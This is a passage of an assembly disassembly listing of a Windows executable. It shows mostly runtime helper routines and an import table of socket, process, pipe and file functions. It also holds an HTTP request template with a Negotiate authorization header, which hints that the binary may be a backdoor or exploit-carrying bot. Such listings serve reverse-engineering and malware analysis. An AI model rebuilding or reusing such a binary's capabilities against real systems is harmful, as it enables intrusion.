loc_41FCB8 loc_41FCC2: ; CODE XREF: sub_41FCA1+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_415DC9 mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_41FCE3 push 9 call sub_417BEE pop ecx loc_41FCE3: ; CODE XREF: sub_41FCA1+38j mov eax, [edi] mov ebx, edi loc_41FCE7: ; CODE XREF: sub_41FCA1+5Bj test eax, eax jz short loc_41FCFE push eax add ebx, 4 call sub_41FD7B mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_41FCE7 ; --------------------------------------------------------------------------- loc_41FCFE: ; CODE XREF: sub_41FCA1+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_41FCA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FD08 proc near ; CODE XREF: sub_41FAC2+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_46A8DC, 0 jnz short loc_41FD23 push [ebp+arg_4] push [ebp+arg_0] call sub_417080 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_41FD23: ; CODE XREF: sub_41FD08+Aj mov ecx, [ebp+arg_0] loc_41FD26: ; CODE XREF: sub_41FD08+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_41FD69 movzx edx, al test byte_46A9E1[edx], 4 jz short loc_41FD55 mov dl, [ecx+1] inc ecx test dl, dl jz short loc_41FD60 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_41FD64 jmp short loc_41FD5D ; --------------------------------------------------------------------------- loc_41FD55: ; CODE XREF: sub_41FD08+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_41FD69 loc_41FD5D: ; CODE XREF: sub_41FD08+4Bj inc ecx jmp short loc_41FD26 ; --------------------------------------------------------------------------- loc_41FD60: ; CODE XREF: sub_41FD08+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_41FD64: ; CODE XREF: sub_41FD08+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_41FD69: ; CODE XREF: sub_41FD08+25j ; sub_41FD08+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_41FD08 endp ; =============== S U B R O U T I N E ======================================= sub_41FD7B proc near ; CODE XREF: sub_4099AA+21p ; sub_41FCA1+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_41FDA2 push esi call sub_415CF0 inc eax push eax call sub_415DC9 pop ecx test eax, eax pop ecx jz short loc_41FDA2 push esi push eax call sub_415C00 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41FDA2: ; CODE XREF: sub_41FD7B+7j ; sub_41FD7B+1Aj xor eax, eax pop esi retn sub_41FD7B endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41FDB0 proc near ; CODE XREF: sub_404B1E+15p ; sub_404B77+15p ... mov eax, offset loc_4202A0 call sub_416458 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_404D21 mov esi, offset aStringTooLong ; "string too long" push esi call sub_415CF0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_404D5D and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41FE0A lea eax, [ebp-3Ch] push offset dword_421F80 push eax mov dword ptr [ebp-3Ch], offset off_421C3C call sub_420209 pop esi sub_41FDB0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FE0A proc near ; CODE XREF: sub_41FDB0+3Fp ; sub_41FFDC+3Fp mov eax, offset loc_4202B4 call sub_416458 push ecx push ecx push ebx push esi lea eax, [ebp-10h] push edi mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset byte_438FBC call sub_42012E mov ebx, [ebp+8] and dword ptr [ebp-4], 0 lea edi, [esi+0Ch] push 0 mov al, [ebx] mov ecx, edi mov [edi], al call sub_404D21 push dword_421248 mov ecx, edi push 0 push ebx call sub_404BCE mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_421C5C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41FE0A endp ; =============== S U B R O U T I N E ======================================= sub_41FE6E proc near ; DATA XREF: .nsp0:00421C40o ; .nsp0:00421C60o ... mov eax, [ecx+10h] test eax, eax jnz short locret_41FE7A mov eax, offset dword_421258 locret_41FE7A: ; CODE XREF: sub_41FE6E+5j retn sub_41FE6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE7B proc near ; DATA XREF: .nsp0:00421C64o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41FEF1 lea eax, [ebp+var_1C] push offset dword_421FF0 push eax call sub_420209 sub_41FE7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FE98 proc near ; CODE XREF: .nsp0:0041FED8p ; DATA XREF: .nsp0:00421FF4o mov eax, offset loc_4202C8 call sub_416458 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4201B5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41FE98 endp ; --------------------------------------------------------------------------- loc_41FED5: ; DATA XREF: .nsp0:off_421C5Co push esi mov esi, ecx call sub_41FE98 test byte ptr [esp+8], 1 jz short loc_41FEEB push esi call sub_416477 pop ecx loc_41FEEB: ; CODE XREF: .nsp0:0041FEE2j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_41FEF1 proc near ; CODE XREF: sub_41FE7B+Ap ; sub_41FFC4+7p ... mov eax, offset loc_4202DC call sub_416458 push ecx push ebx mov ebx, [ebp+8] push esi push edi mov esi, ecx push ebx mov [ebp-10h], esi call sub_42016B mov al, [ebx+0Ch] and dword ptr [ebp-4], 0 add ebx, 0Ch lea edi, [esi+0Ch] push 0 mov ecx, edi mov [edi], al call sub_404D21 push dword_421248 mov ecx, edi push 0 push ebx call sub_404BCE mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_421C5C mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn 4 sub_41FEF1 endp ; =============== S U B R O U T I N E ======================================= sub_41FF4E proc near ; CODE XREF: sub_41FF8B+20p ; DATA XREF: .nsp0:00421F84o mov eax, offset loc_4202F0 call sub_416458 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4201B5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_41FF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FF8B proc near ; DATA XREF: .nsp0:00421C44o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_41FFC4 lea eax, [ebp+var_1C] push offset dword_421F80 push eax call sub_420209 loc_41FFA8: ; DATA XREF: .nsp0:off_421C3Co push esi mov esi, ecx call sub_41FF4E test [esp+20h+var_18], 1 jz short loc_41FFBE push esi call sub_416477 pop ecx loc_41FFBE: ; CODE XREF: sub_41FF8B+2Aj mov eax, esi pop esi retn 4 sub_41FF8B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41FFC4 proc near ; CODE XREF: sub_41FF8B+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41FEF1 mov dword ptr [esi], offset off_421C3C mov eax, esi pop esi retn 4 sub_41FFC4 endp ; =============== S U B R O U T I N E ======================================= sub_41FFDC proc near ; CODE XREF: sub_404BCE+13p ; sub_404D92+Ep mov eax, offset loc_420304 call sub_416458 sub esp, 30h mov al, [ebp-0Dh] push esi push 0 lea ecx, [ebp-20h] mov [ebp-20h], al call sub_404D21 mov esi, offset aInvalidStringP ; "invalid string position" push esi call sub_415CF0 pop ecx push eax push esi lea ecx, [ebp-20h] call sub_404D5D and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_41FE0A lea eax, [ebp-3Ch] push offset dword_4220A8 push eax mov dword ptr [ebp-3Ch], offset off_421C6C call sub_420209 pop esi sub_41FFDC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_420036 proc near ; CODE XREF: sub_420073+20p ; DATA XREF: .nsp0:004220ACo mov eax, offset loc_420318 call sub_416458 push ecx push esi mov esi, ecx mov [ebp-10h], esi mov dword ptr [esi], offset off_421C5C and dword ptr [ebp-4], 0 push 1 lea ecx, [esi+0Ch] call sub_404D21 or dword ptr [ebp-4], 0FFFFFFFFh mov ecx, esi call sub_4201B5 mov ecx, [ebp-0Ch] pop esi mov large fs:0, ecx leave retn sub_420036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420073 proc near ; DATA XREF: .nsp0:00421C74o var_1C = byte ptr -1Ch var_18 = byte ptr -18h push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4200AC lea eax, [ebp+var_1C] push offset dword_4220A8 push eax call sub_420209 loc_420090: ; DATA XREF: .nsp0:off_421C6Co push esi mov esi, ecx call sub_420036 test [esp+20h+var_18], 1 jz short loc_4200A6 push esi call sub_416477 pop ecx loc_4200A6: ; CODE XREF: sub_420073+2Aj mov eax, esi pop esi retn 4 sub_420073 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4200AC proc near ; CODE XREF: sub_420073+Ap arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41FEF1 mov dword ptr [esi], offset off_421C6C mov eax, esi pop esi retn 4 sub_4200AC endp ; =============== S U B R O U T I N E ======================================= sub_4200C4 proc near ; DATA XREF: .nsp0:0042300Co ; FUNCTION CHUNK AT 004200FA SIZE 0000000C BYTES test byte_46977C, 1 jnz short loc_4200D4 or byte_46977C, 1 loc_4200D4: ; CODE XREF: sub_4200C4+7j call sub_4200EE test byte_46AB18, 1 jnz short loc_4200E9 or byte_46AB18, 1 loc_4200E9: ; CODE XREF: sub_4200C4+1Cj jmp loc_4200FA sub_4200C4 endp ; =============== S U B R O U T I N E ======================================= sub_4200EE proc near ; CODE XREF: sub_4200C4:loc_4200D4p push offset nullsub_1 call sub_416840 pop ecx retn sub_4200EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4200C4 loc_4200FA: ; CODE XREF: sub_4200C4:loc_4200E9j push offset nullsub_1 call sub_416840 pop ecx retn ; END OF FUNCTION CHUNK FOR sub_4200C4 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_420106 proc near ; CODE XREF: sub_40446E+5Ep ; sub_405409+159p jmp dword_4211D4 sub_420106 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42010C proc near ; CODE XREF: sub_4160C4+23p ; sub_416368+13p jmp dword_421154 sub_42010C endp ; =============== S U B R O U T I N E ======================================= sub_420112 proc near ; DATA XREF: .nsp0:off_421C94o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4201B5 test [esp+4+arg_0], 1 jz short loc_420128 push esi call sub_416477 pop ecx loc_420128: ; CODE XREF: sub_420112+Dj mov eax, esi pop esi retn 4 sub_420112 endp ; =============== S U B R O U T I N E ======================================= sub_42012E proc near ; CODE XREF: sub_41FE0A+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_421C94 push dword ptr [edi] call sub_415CF0 inc eax push eax call sub_4167C5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42015D push dword ptr [edi] push eax call sub_415C00 pop ecx pop ecx loc_42015D: ; CODE XREF: sub_42012E+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_42012E endp ; =============== S U B R O U T I N E ======================================= sub_42016B proc near ; CODE XREF: sub_41FEF1+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_421C94 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4201A8 push dword ptr [edi+4] call sub_415CF0 inc eax push eax call sub_4167C5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4201AE push dword ptr [edi+4] push eax call sub_415C00 pop ecx pop ecx jmp short loc_4201AE ; --------------------------------------------------------------------------- loc_4201A8: ; CODE XREF: sub_42016B+16j mov eax, [edi+4] mov [esi+4], eax loc_4201AE: ; CODE XREF: sub_42016B+2Ej ; sub_42016B+3Bj mov eax, esi pop edi pop esi retn 4 sub_42016B endp ; =============== S U B R O U T I N E ======================================= sub_4201B5 proc near ; CODE XREF: sub_41FE98+2Bp ; sub_41FF4E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_421C94 jz short locret_4201CA push dword ptr [ecx+4] call sub_416477 pop ecx locret_4201CA: ; CODE XREF: sub_4201B5+Aj retn sub_4201B5 endp ; --------------------------------------------------------------------------- mov eax, [ecx+4] test eax, eax jnz short locret_4201D7 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_4201D7: ; CODE XREF: .nsp0:004201D0j retn ; =============== S U B R O U T I N E ======================================= sub_4201D8 proc near ; CODE XREF: .nsp0:004201F0p mov dword ptr [ecx], offset off_421CB4 mov ecx, [ecx+4] test ecx, ecx jz short locret_4201EC push ecx call sub_415E3D pop ecx locret_4201EC: ; CODE XREF: sub_4201D8+Bj retn sub_4201D8 endp ; --------------------------------------------------------------------------- loc_4201ED: ; DATA XREF: .nsp0:off_421CB4o push esi mov esi, ecx call sub_4201D8 test byte ptr [esp+8], 1 jz short loc_420203 push esi call sub_416477 pop ecx loc_420203: ; CODE XREF: .nsp0:004201FAj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420209 proc near ; CODE XREF: sub_41FDB0+54p ; sub_41FE7B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_421CB8 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_421184 ; RaiseException pop edi pop esi leave retn 8 sub_420209 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_420244 proc near ; DATA XREF: .nsp0:00421E84o ; FUNCTION CHUNK AT 00404B16 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_404B16 sub_420244 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_420262 mov ecx, [ebp+8] jmp loc_404B16 ; --------------------------------------------------------------------------- locret_420262: ; CODE XREF: .nsp0:00420254j retn ; --------------------------------------------------------------------------- loc_420263: ; DATA XREF: sub_4046AAo mov eax, offset dword_421E58 jmp loc_416113 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420278: ; DATA XREF: .nsp0:00421EB4o lea ecx, [ebp-1Ch] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420280: ; DATA XREF: sub_40484Co mov eax, offset dword_421E88 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 loc_42028C: ; DATA XREF: sub_404DF9o mov eax, offset dword_421EB8 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_4202A0: ; DATA XREF: sub_41FDB0o mov eax, offset dword_421F90 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_4202B4: ; DATA XREF: sub_41FE0Ao mov eax, offset dword_421FB8 jmp loc_416113 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_4202C8: ; DATA XREF: sub_41FE98o mov eax, offset dword_422000 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_4202DC: ; DATA XREF: sub_41FEF1o mov eax, offset dword_422028 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_4202F0: ; DATA XREF: sub_41FF4Eo mov eax, offset dword_422050 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_404B16 ; --------------------------------------------------------------------------- loc_420304: ; DATA XREF: sub_41FFDCo mov eax, offset dword_4220B8 jmp loc_416113 ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_4201B5 ; --------------------------------------------------------------------------- loc_420318: ; DATA XREF: sub_420036o mov eax, offset dword_4220E0 jmp loc_416113 ; --------------------------------------------------------------------------- align 4 dd 337h dup(0) dword_421000 dd 7C81AE17h ; resolved to->KERNEL32.GetExitCodeProcessdword_421004 dd 7C833478h ; resolved to->KERNEL32.SetEnvironmentVariableAdword_421008 dd 7C80A35Eh ; resolved to->KERNEL32.CompareStringW ; sub_41F845+261r dword_42100C dd 7C80D077h ; resolved to->KERNEL32.CompareStringA ; sub_41F845+B9r dword_421010 dd 7C832044h ; resolved to->KERNEL32.SetEndOfFiledword_421014 dd 7C80BCCFh ; resolved to->KERNEL32.IsBadCodePtrdword_421018 dd 7C809E01h ; resolved to->KERNEL32.IsBadReadPtrdword_42101C dd 7C84467Dh ; resolved to->KERNEL32.SetUnhandledExceptionFilter ; sub_41DF59+6r dword_421020 dd 7C812641h ; resolved to->KERNEL32.FlushFileBuffersdword_421024 dd 7C81DC03h ; resolved to->KERNEL32.SetStdHandle ; sub_41D44C:loc_41D49Fr dword_421028 dd 7C80A490h ; resolved to->KERNEL32.GetStringTypeW ; sub_41D1F7+12Dr dword_42102C dd 7C838A0Ch ; resolved to->KERNEL32.GetStringTypeA ; sub_41D1F7+8Dr dword_421030 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_41CC52+166r ... dword_421034 dd 7C812F39h ; resolved to->KERNEL32.GetStdHandle ; sub_41CF19+143r dword_421038 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_42103C dd 7C812F08h ; resolved to->KERNEL32.GetEnvironmentStringsWdword_421040 dd 7C81CF5Bh ; resolved to->KERNEL32.GetEnvironmentStringsA ; sub_41CB20+E1r dword_421044 dd 7C814AE7h ; resolved to->KERNEL32.FreeEnvironmentStringsWdword_421048 dd 7C80C058h ; resolved to->KERNEL32.ExitThread ; sub_401447+95r ... dword_42104C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_401447+1A6r ... dword_421050 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_4010B2+2D4r ... dword_421054 dd 7C82FA46h ; resolved to->KERNEL32.QueryPerformanceFrequency ; sub_4018CA+FFr dword_421058 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA ; sub_40AAD1+183r ... dword_42105C dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTime ; sub_40B16D+Dr ... dword_421060 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_40283D+E3r ... dword_421064 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChar ; sub_4030C0+65r ... dword_421068 dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_406A32+80r ... dword_42106C dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_4033CB+150r ... dword_421070 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_409E15+AEr ... dword_421074 dd 7C8312E5h ; resolved to->KERNEL32.TransactNamedPipedword_421078 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_406100+1C4r ... dword_42107C dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_407276+58r ... dword_421080 dd 7C83632Dh ; resolved to->KERNEL32.GetTimeFormatA ; sub_40AAD1+1B6r dword_421084 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatA ; sub_40AAD1+19Fr dword_421088 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_407276:loc_4073B2r ... dword_42108C dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_407276+10Er ... dword_421090 dd 7C810A77h ; resolved to->KERNEL32.GetFileSize ; sub_406A32+38r ... dword_421094 dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesA ; sub_409E15+10Fr ... dword_421098 dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_4088A0+C0r ... dword_42109C dd 7C80E7ECh ; resolved to->KERNEL32.FileTimeToSystemTimedword_4210A0 dd 7C80E866h ; resolved to->KERNEL32.FileTimeToLocalFileTimedword_4210A4 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileA ; sub_4063B0+5D7r ... dword_4210A8 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileA ; sub_4088A0+26r dword_4210AC dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_40B712+259r ... dword_4210B0 dd 7C9010EDh ; resolved to->NTDLL.RtlLeaveCriticalSectiondword_4210B4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_4210B8 dd 7C80B829h ; resolved to->KERNEL32.InitializeCriticalSectionAndSpinCountdword_4210BC dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSection ; sub_40799F+22Fr dword_4210C0 dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_4089F2:loc_408EE2r ... dword_4210C4 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_419EEF+15r ... dword_4210C8 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleA ; sub_409E15+FBr ... dword_4210CC dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_4210D0 dd 7C80FE82h ; resolved to->KERNEL32.GlobalUnlockdword_4210D4 dd 7C80FF19h ; resolved to->KERNEL32.GlobalLockdword_4210D8 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_4210DC dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_4210E0 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_4210E4 dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_4210E8 dd 7C831C45h ; resolved to->KERNEL32.GetFileTimedword_4210EC dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_409F9D+B4r ... dword_4210F0 dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_4210F4 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_40C682+1BFr ... dword_4210F8 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_40CE55+3D2Fr dword_4210FC dd 7C85F90Fh ; resolved to->KERNEL32.PeekNamedPipedword_421100 dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_421104 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_413D67+Cr ... dword_421108 dd 7C81E0C7h ; resolved to->KERNEL32.CreatePipedword_42110C dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExA ; .nsp0:004142A7r dword_421110 dd 7C8310F2h ; resolved to->KERNEL32.GlobalMemoryStatusdword_421114 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_40C59A+DFr ... dword_421118 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA ; sub_40CE55+473Er ... dword_42111C dd 7C8309E1h ; resolved to->KERNEL32.OpenProcess ; sub_413DD2+175r ... dword_421120 dd 7C809920h ; resolved to->KERNEL32.GetCurrentProcessIddword_421124 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_421128 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject ; sub_40C682+309r dword_42112C dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_421130 dd 7C81CE03h ; resolved to->KERNEL32.TerminateThread ; sub_4150CE+2Br dword_421134 dd 7C835E8Fh ; resolved to->KERNEL32.MoveFileAdword_421138 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiByte ; sub_41BD71+20Dr ... dword_42113C dd 7C8216A4h ; resolved to->KERNEL32.GetComputerNameA ; .nsp0:0041419Cr dword_421140 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcess ; sub_414061+1Fr ... dword_421144 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_421148 dd 7C830B14h ; resolved to->KERNEL32.GetLogicalDrivesdword_42114C dd 7C9105D4h ; resolved to->NTDLL.RtlAllocateHeap ; sub_4174DF+AFr ... dword_421150 dd 7C91043Dh ; resolved to->NTDLL.RtlFreeHeap ; sub_418B28+2C4r ... dword_421154 dd 7C937A40h ; resolved to->NTDLL.RtlUnwinddword_421158 dd 7C8350BFh ; resolved to->KERNEL32.GetTimeZoneInformation ; sub_41E162+38r dword_42115C dd 7C80176Bh ; resolved to->KERNEL32.GetSystemTimedword_421160 dd 7C9179FDh ; resolved to->NTDLL.RtlReAllocateHeap ; sub_41915C+28r dword_421164 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoA ; sub_41CC52+59r dword_421168 dd 7C812F1Dh ; resolved to->KERNEL32.GetCommandLineAdword_42116C dd 7C8111DAh ; resolved to->KERNEL32.GetVersiondword_421170 dd 7C810EF8h ; resolved to->KERNEL32.HeapDestroydword_421174 dd 7C812BB6h ; resolved to->KERNEL32.HeapCreatedword_421178 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_42117C dd 7C809A51h ; resolved to->KERNEL32.VirtualAlloc ; sub_41920D+51r dword_421180 dd 7C809E79h ; resolved to->KERNEL32.IsBadWritePtrdword_421184 dd 7C812A09h ; resolved to->KERNEL32.RaiseException ; sub_420209+2Er dword_421188 dd 7C9109EDh ; resolved to->NTDLL.RtlSizeHeapdword_42118C dd 7C838DE8h ; resolved to->KERNEL32.LCMapStringA ; sub_41BD71+A7r dword_421190 dd 7C80CCA8h ; resolved to->KERNEL32.LCMapStringW ; sub_41BD71+14Dr ... dword_421194 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfo ; sub_41C1FF+14r ... dword_421198 dd 7C809915h ; resolved to->KERNEL32.GetACPdword_42119C dd 7C8127A7h ; resolved to->KERNEL32.GetOEMCPdword_4211A0 dd 7C862E2Ah ; resolved to->KERNEL32.UnhandledExceptionFilterdword_4211A4 dd 7C81DF77h ; resolved to->KERNEL32.FreeEnvironmentStringsA dd 0 dword_4211AC dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_405A89+8Er dword_4211B0 dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_405A0C+15r dword_4211B4 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_4211B8 dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_4211BC dd 71AB3E00h ; resolved to->WS2_32.binddword_4211C0 dd 71AB88D3h ; resolved to->WS2_32.listendword_4211C4 dd 71AC1028h ; resolved to->WS2_32.acceptdword_4211C8 dd 71AB4FD4h ; resolved to->WS2_32.gethostbynamedword_4211CC dd 71AC0BDEh ; resolved to->WS2_32.shutdowndword_4211D0 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_405409+115r dword_4211D4 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_4211D8 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_402DDD+2Ar ... dword_4211DC dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_402988+EDr ... dword_4211E0 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_402DDD+49r ... dword_4211E4 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_402DDD+64r ... dword_4211E8 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40283D+135r ... dword_4211EC dd 71AB428Ah ; resolved to->WS2_32.send ; sub_402988+26Br ... dword_4211F0 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_402DDD+154r ... align 8 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40484C+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_421238 dq 1.388888888888889e-2 ; DATA XREF: sub_40465E+2Fr dbl_421240 dq 1.666666666666667e-1 ; DATA XREF: sub_40465E+15r dword_421248 dd 0FFFFFFFFh ; sub_404B1Er ... align 10h dbl_421250 dq 1.333333333333333 ; DATA XREF: sub_4046AA+79r dword_421258 dd 0 ; sub_404BCE+5Bo ... dword_42125C dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 